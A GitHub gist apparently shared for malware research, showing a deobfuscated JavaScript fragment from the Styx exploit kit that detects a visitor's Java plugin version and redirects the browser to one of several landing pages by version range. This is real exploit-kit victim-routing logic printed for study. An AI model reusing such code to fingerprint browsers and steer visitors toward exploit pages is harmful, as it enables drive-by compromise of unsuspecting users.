Skip to content

Instantly share code, notes, and snippets.

@jamesejr
Last active August 29, 2015 13:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jamesejr/8704038 to your computer and use it in GitHub Desktop.
Save jamesejr/8704038 to your computer and use it in GitHub Desktop.
A deobfuscated portion of the JavaScript code found on the Styx exploit kit
function NyMpwEMG() {
var FHQxrYhsp = window.PluginDetect.getVersion("Java");
if (typeof FHQxrYhsp == 'string') {
FHQxrYhsp = FHQxrYhsp.split(",");
if (FHQxrYhsp[3].length == 1) {
FHQxrYhsp = "" + FHQxrYhsp[1] + "0" + FHQxrYhsp[3];
} else {
FHQxrYhsp = "" + FHQxrYhsp[1] + FHQxrYhsp[3];
}
} else {
FHQxrYhsp = 0;
} if ((FHQxrYhsp >= 500 && FHQxrYhsp <= 632) || (FHQxrYhsp >= 700 && FHQxrYhsp <= 709)) {
return "JSwkYux.html";
};
if ((FHQxrYhsp >= 633 && FHQxrYhsp <= 645)) {
return "ySnWHR.html";
};
if ((FHQxrYhsp >= 710 && FHQxrYhsp < 725)) {
return "XdMGGiCPB.html";
};
return "uDLhux.html";
}
location.href = NyMpwEMG();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment